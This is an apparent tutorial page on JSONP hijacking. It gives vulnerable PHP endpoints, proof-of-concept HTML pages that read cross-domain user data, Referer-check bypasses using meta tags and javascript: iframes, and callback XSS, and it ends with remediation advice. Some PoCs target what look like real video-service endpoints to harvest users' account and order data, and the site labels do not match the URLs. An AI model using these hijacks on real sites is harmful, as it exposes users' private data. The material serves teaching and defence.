Talking about JSONP Hijacking Vulnerability - Tutorial Boy -->

Talking about JSONP Hijacking Vulnerability


JSONP 

The full name of JSONP is JSON with Padding, a solution based on JSON format to solve cross-domain request resources. 

Due to the limitation of the browser's same-origin policy, the browser only allows XmlHttpRequest to request resources with the same current (domain name, protocol, port), and there is no restriction on requesting script resources.

Principle: The client sends a cross-domain request through the request script tag, and then the server outputs JSON data and executes the callback function. This cross-domain data output method is called JSONP. Simple principle description: use <script></script>

Hazards that can be caused 

  • JSONP data hijacking 
  • callback xss caused by no filtering

JSONP Hijacking Example

# Server request address: http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback
<?php
header('Content-type: application/json');
$callback = htmlspecialchars($_REQUEST['callback']);
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";


# Client request address: http://127.0.0.1/jsonp/jsonp_test.html
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp</title>
</head>
<body>
    jsonp hijack test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
    </script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>

JSONP hijacking bypass method 

Referer filtering (regular) is not rigorous 

for example http://aphp.test/jsonp/test_jsonp.php? callback=jsonCallback When outputting data, the Referer is verified 

But unfortunately, it only verifies whether the keyword aphp. test exists in the Referer. 
Then the attacker can construct the url: http://127.0.0.1/aphp.test.html or http://127.0.0.1/attack.htm? aphp.test 

Construct such a url to launch an attack to bypass the Referer defense 

Empty Referer bypass

Sometimes developers will allow the Referer source to be empty when filtering because under normal circumstances, the browser directly accesses a URL without a Referer, so we can sometimes use this feature to bypass

# Use the <meta> tag to implement an empty Referer
<!DOCTYPE html>
<html lang='en'>
<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <script>
        function jsonCallback(data){
            alert(JSON.stringify(data));
        }
    </script>
    <script src="http://aphp.test/jsonp/test_jsonp.php?callback=jsonCallback"></script>
</html>

# Use the <iframe> tag to call the javscript pseudo-protocol to implement an empty Referer call JSON file
<!DOCTYPE html>
<html lang='en'>
<head>
    <title>jsonp without Referer</title>
</head>
<body>
    jsonp without Referer hijacking test
</body>
    <iframe src="javascript:'<script>function jsonCallback(data){alert(JSON.stringify(data));}</script> <script src=http://aphp.test/jsonp/test_jsonp.php? callback=jsonCallback></script>'" frameborder="0"></iframe>
</html>

The callback can define the security problem caused

In general development, the front-end can be easily called, and the general output Callback is customizable, which leads to xss if the filtering is not strict, or if the Content-Type is not set properly 
Note: Strictly speaking, if the output data is also controllable by the attacker, it may also cause harm, but this article emphasizes the output point of Callback 
Test a piece of code as follows

<?php
$callback = $_REQUEST['callback'];
if (!isset($callback) || empty($callback)) {
    $callback = 'callback';
}
$data = array('username'=>'Pmeow-phpoop','email' => '3303003493@google.com');
$json = json_encode($data);
echo $callback."(".$json.")";

Test Html code 

<!DOCTYPE html>
<html lang='en'>

<head>
    <meta name="referrer" content="never" charset="utf-8">
    <title>jsonp hijack</title>
</head>

<body>
    https://v.qq.com jsonp hijacking
</body>
    <!-- Hijacking the user's QQ number can be used for promotion -->
    <script>function jc(data){alert(JSON.stringify(data));}</script>
    <script src="http://node.video.google.com/x/api/get_2029?callback=jc&_=1542534620161"></script>
    
    <!-- Hijack the user's order data -->
    <script>function jc2(data){alert(JSON.stringify(data));}</script>
    <script src="http://like.video.google.com/fcgi-bin/flw_new?otype=json&sn=FollowServer&cmd=2562&pidx=0&size=30&dtype=0&type=0&callback=jc2&_=1542536629083"></script>
</html>

JSONP Remediation

  • Verify HTTP Referer header information.
  • Add csrfToken to the request and validate it on the backend.
  • Standard output in JSON format, Content-Type is set to (Content-Type : application/json; charset=utf-8).
  • Strictly filter the callback function name and the output of data in JSON (prevent xss)